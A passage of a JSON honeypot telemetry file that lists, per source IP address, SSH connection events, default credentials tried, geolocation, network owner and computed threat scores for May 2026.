        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:49:10.837000+00:00",
        "last_seen_30d": "2026-05-14T02:55:18.430000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.14.26.70": {
      "attack_count": 10,
      "first_seen": "2026-05-07T03:57:10.381Z",
      "last_seen": "2026-05-07T03:57:19.437Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:57:10.381000+00:00",
        "last_seen_30d": "2026-05-07T19:20:30.991000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "35.241.225.56": {
      "attack_count": 10,
      "first_seen": "2026-05-31T02:18:47.201Z",
      "last_seen": "2026-05-31T02:18:55.171Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:18:47.201000+00:00",
        "last_seen_30d": "2026-05-31T02:20:00.030000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "36.231.95.218": {
      "attack_count": 10,
      "first_seen": "2026-05-19T05:04:51.574Z",
      "last_seen": "2026-05-19T05:23:38.154Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T05:04:51.574000+00:00",
        "last_seen_30d": "2026-05-19T05:24:38.524000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "43.241.246.241": {
      "attack_count": 10,
      "first_seen": "2026-05-11T14:23:43.353Z",
      "last_seen": "2026-05-11T14:31:53.864Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Berangan",
      "asn": 152087,
      "as_org": "PT Mega Cipta Netindo",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:23:43.353000+00:00",
        "last_seen_30d": "2026-05-11T14:33:00.286000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "66.132.172.182": {
      "attack_count": 10,
      "first_seen": "2026-05-24T23:31:04.729Z",
      "last_seen": "2026-05-30T10:33:46.398Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T09:42:42+00:00",
        "last_seen_30d": "2026-05-31T14:26:35.487000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124,
        "Honeytrap": 54,
        "Cowrie": 10,
        "Ciscoasa": 6,
        "Tanner": 4,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "109.248.198.51": {
      "attack_count": 6,
      "first_seen": "2026-05-05T01:19:46.983Z",
      "last_seen": "2026-05-05T01:19:54.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Karaganda",
      "asn": 203087,
      "as_org": "Fedinyak Sergey Vyacheslavovich",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:19:46.983000+00:00",
        "last_seen_30d": "2026-05-05T01:20:58.276000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "112.168.175.109": {
      "attack_count": 6,
      "first_seen": "2026-05-13T00:27:08.043Z",
      "last_seen": "2026-05-13T06:00:44.696Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T00:27:08.043000+00:00",
        "last_seen_30d": "2026-05-13T06:01:46.122000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "172.236.228.38": {
      "attack_count": 6,
      "first_seen": "2026-05-15T03:15:47.391Z",
      "last_seen": "2026-05-15T03:15:47.663Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 77.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 28,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T11:18:33+00:00",
        "last_seen_30d": "2026-05-30T19:02:58.893000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 14,
        "Cowrie": 6,
        "Ipphoney": 1
      }
    },
    "181.115.178.226": {
      "attack_count": 6,
      "first_seen": "2026-05-10T18:57:05.675Z",
      "last_seen": "2026-05-28T21:38:48.700Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:57:05.675000+00:00",
        "last_seen_30d": "2026-05-28T21:39:52.759000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "201.238.32.100": {
      "attack_count": 6,
      "first_seen": "2026-05-22T13:45:33.010Z",
      "last_seen": "2026-05-22T14:35:52.899Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:45:33.010000+00:00",
        "last_seen_30d": "2026-05-22T14:51:53.062000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "45.79.227.90": {
      "attack_count": 6,
      "first_seen": "2026-05-12T05:57:42.086Z",
      "last_seen": "2026-05-12T05:57:43.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T05:57:42.086000+00:00",
        "last_seen_30d": "2026-05-12T05:58:48.873000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "90.127.73.244": {
      "attack_count": 6,
      "first_seen": "2026-05-14T21:16:14.450Z",
      "last_seen": "2026-05-14T21:19:56.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Boulogne-Billancourt",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:16:14.450000+00:00",
        "last_seen_30d": "2026-05-14T21:21:03.302000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "192.42.116.144": {
      "attack_count": 5,
      "first_seen": "2026-05-19T06:56:32.066Z",
      "last_seen": "2026-05-19T06:56:43.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-19T06:56:32.066000+00:00",
        "last_seen_30d": "2026-05-20T10:35:56.875000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "220.250.52.89": {
      "attack_count": 5,
      "first_seen": "2026-05-25T03:09:16.522Z",
      "last_seen": "2026-05-25T03:09:20.951Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "userm"
      ],
      "passwords_attempted": [
        "1qq2w3e4r5t"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:09:16.522000+00:00",
        "last_seen_30d": "2026-05-25T03:10:22.911000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "40.124.175.86": {
      "attack_count": 5,
      "first_seen": "2026-05-11T15:32:15.314Z",
      "last_seen": "2026-05-11T15:32:25.636Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 15.0,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 18,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T16:35:08.104000+00:00",
        "last_seen_30d": "2026-05-23T09:35:02.691000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 10,
        "Cowrie": 5
      }
    },
    "64.62.156.52": {
      "attack_count": 5,
      "first_seen": "2026-05-20T06:29:27.294Z",
      "last_seen": "2026-05-26T00:13:43.487Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 351,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T01:06:19+00:00",
        "last_seen_30d": "2026-05-31T11:25:26.850000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 220,
        "Honeytrap": 100,
        "Ciscoasa": 12,
        "Mailoney": 6,
        "Cowrie": 5,
        "Adbhoney": 2,
        "ConPot": 2,
        "Miniprint": 2,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "103.171.37.28": {
      "attack_count": 4,
      "first_seen": "2026-05-15T08:28:57.953Z",
      "last_seen": "2026-05-15T08:29:09.517Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142623,
      "as_org": "Momota Technologies",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:28:57.953000+00:00",
        "last_seen_30d": "2026-05-15T08:30:28.207000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "120.48.78.222": {
      "attack_count": 4,
      "first_seen": "2026-05-14T04:38:36.158Z",
      "last_seen": "2026-05-14T04:40:36.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:38:36.158000+00:00",
        "last_seen_30d": "2026-05-14T04:50:45.749000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.128": {
      "attack_count": 4,
      "first_seen": "2026-05-30T22:13:06.472Z",
      "last_seen": "2026-05-30T22:13:10.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T06:18:11.873000+00:00",
        "last_seen_30d": "2026-05-30T22:14:15.697000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 7,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "3.86.93.123": {
      "attack_count": 4,
      "first_seen": "2026-05-16T00:57:04.642Z",
      "last_seen": "2026-05-16T00:57:11.343Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 45.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 16.7,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 20,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T01:02:29+00:00",
        "last_seen_30d": "2026-05-23T00:59:30.688000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "64.62.156.46": {
      "attack_count": 4,
      "first_seen": "2026-05-15T18:24:44.815Z",
      "last_seen": "2026-05-15T18:24:48.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T01:25:27.568000+00:00",
        "last_seen_30d": "2026-05-31T02:19:19.252000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "66.132.195.31": {
      "attack_count": 4,
      "first_seen": "2026-05-31T11:31:52.641Z",
      "last_seen": "2026-05-31T11:32:08.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T11:21:34+00:00",
        "last_seen_30d": "2026-05-31T21:06:40.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 42,
        "ElasticPot": 12,
        "Miniprint": 6,
        "Cowrie": 4
      }
    },
    "91.231.89.75": {
      "attack_count": 4,
      "first_seen": "2026-05-15T23:56:15.464Z",
      "last_seen": "2026-05-15T23:56:44.651Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 84.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T10:27:21+00:00",
        "last_seen_30d": "2026-05-31T04:20:20.058000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 27,
        "Cowrie": 4,
        "Mailoney": 1
      }
    },
    "176.28.149.99": {
      "attack_count": 3,
      "first_seen": "2026-05-10T18:46:38.165Z",
      "last_seen": "2026-05-10T18:47:12.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 48832,
      "as_org": "Jordanian mobile phone services Ltd",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:46:38.165000+00:00",
        "last_seen_30d": "2026-05-10T18:48:17.407000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "184.105.139.67": {
      "attack_count": 3,
      "first_seen": "2026-05-31T11:16:52.544Z",
      "last_seen": "2026-05-31T11:16:52.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 30,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T13:42:55+00:00",
        "last_seen_30d": "2026-05-31T11:17:52.905000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 203,
        "Honeytrap": 91,
        "Tanner": 4,
        "CitrixHoneypot": 3,
        "Cowrie": 3,
        "ConPot": 2,
        "Dionaea": 2,
        "Honeyaml": 2,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "64.62.156.172": {
      "attack_count": 3,
      "first_seen": "2026-05-19T08:55:03.267Z",
      "last_seen": "2026-05-19T08:55:03.276Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 30,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T01:46:54+00:00",
        "last_seen_30d": "2026-05-31T10:49:34.986000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 160,
        "Honeytrap": 85,
        "Adbhoney": 8,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 3,
        "Dionaea": 2,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "8.209.236.13": {
